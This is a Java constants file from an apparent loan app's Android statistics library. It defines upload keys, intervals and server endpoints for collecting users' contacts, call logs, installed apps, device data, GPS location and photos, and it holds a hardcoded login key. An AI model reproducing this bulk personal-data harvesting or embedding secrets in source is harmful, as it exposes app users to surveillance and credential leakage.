package com.cash.lemoloan.statisticlib;

import android.text.TextUtils;

import java.io.File;

import com.cash.lemoloan.statisticlib.Utils.AppInfoUtils;
import com.cash.lemoloan.statisticlib.Utils.FileUtil;

public class StatisticContant {
    public static final String DEFAULT_CHANNEL = "1000009999";

    public static String latitude = "";
    public static String longitude = "";

    public static String NEW_CASHUSER_GID = "";

    public static int NEW_CASHMAX_UPLOAD = 200;
    public static long NEW_CASHMAX_INTERVAL = 3 * 24 * 60 * 60 * 1000;

    public static long NEW_CASHMAX_RANDOM_PIC_INTERVAL = 7 * 24 * 60 * 60 * 1000;

    public static final String SYSTEM = "SYSTEM";

    public static final String NON_SYSTEM = "NON-SYSTEM";

    public static final String CON01 = "CON01";

    public static final String APP01 = "APP01";

    public static final String DEV01 = "DEV01";

    public static final String CALLLOG01 = "CALLLOG01";

    public static final String NEW_CASHUPLOAD_CALL_LOG_TIME = "NEW_CASHUPLOAD_CALL_LOG_TIME";
    public static final String NEW_CASHUPLOAD_CON01_TIME = "NEW_CASHUPLOAD_CON01_TIME";
    public static final String NEW_CASHUPLOAD_APP01_TIME = "NEW_CASHUPLOAD_APP01_TIME";
    public static final String NEW_CASHUPLOAD_DEV01_TIME = "NEW_CASHUPLOAD_DEV01_TIME";
    public static final String NEW_CASHUPLOAD_CON01_FLAG = "NEW_CASHUPLOAD_CON01_FLAG";
    public static final String NEW_CASHUPLOAD_PIC01_FLAG = "NEW_CASHUPLOAD_PIC01_FLAG";
    public static final String NEW_CASHWIFI_CLOSED_UNABLE_ADDR = "00:00:00:00:00:01";
    public static final String NEW_CASHWIFI_OPENED_UNABLE_MAC_ADDR = "00:00:00:00:00:02";
    public static final String NEW_CASHWIFI_DEFAULT_MAC_ADDR = "02:00:00:00:00:00";


    public static String LATITUDE_FLAG = "latitude_flag";
    public static String LONGITUDE_FLAG = "longitude_flag";

    public static String IMAGE_TYPE = "imageType";
    public static String GET_IMAGE_TYPE = "";

    public static final String PHOTO_PATH = FileUtil.getCachePath() + File.separator;

    public static final String IS_GET_CAMERA_PER = "IS_GET_CAMERA_PER";
    public static final String IS_GET_CONTACTS_PER = "IS_GET_CONTACTS_PER";
    public static final String IS_GET_CALL_LOG_PER = "IS_GET_CALL_LOG_PER";
    /**
     * 调起系统通讯录code
     */
    public static final int START_CONTACTS = 1001;
    /**
     * 调起拍照code
     */
    public static final int START_CAMERA = 1004;
    /**
     * 唤起相册
     */
    public static final int START_ALBUM_RESULTCODE = 1111;
    public static final String PERSSION_FAIL = "perssion_fail";  //缺少权限
    public static final String LUNCH_CAMERA_FAIL = "lunch_camera_fail"; //有权限，拉起相机失败
    public static String GOOGLEID = "";
    public static String GOOGLEID_KEY = "googleId_key";
    public static String INDEX_URL = "https://www.lemonloan.top:7011/#/?" + AppInfoUtils.getVersionCode();
    public static String STATISTIC_URL = "https://www.lemonloan.top:7011/lemon/biz/device/data/submit";
    public static String GET_CONFIG = "https://www.lemonloan.top:7011/lemon/biz/device/app/params";
    public static String CONFIG_JSON = "https://phl-domain.oss-cn-hongkong.aliyuncs.com/dragonpeso.txt";
    public static String ONCE_LOGIN_KEY = "Ty4+7BwC01nHoVqmP6YxJkbwmzKT/+902vs8k6O3/rQHTG2CPHqe6QZ8j6ViyJ98";

    public static String getOnceLoginKey() {
        return ONCE_LOGIN_KEY;
    }

    public static void setOnceLoginKey(String onceLoginKey) {
        ONCE_LOGIN_KEY = onceLoginKey;
    }

    public static void setIndexUrl(String domainName) {
        if (!TextUtils.isEmpty(domainName)) {
            INDEX_URL = domainName + AppInfoUtils.getVersionCode();
        }
    }

    public static void setStatisticUrl(String statisticUrl) {
        STATISTIC_URL = statisticUrl;
    }

    public static void setGetConfig(String getConfig) {
        GET_CONFIG = getConfig;
    }

}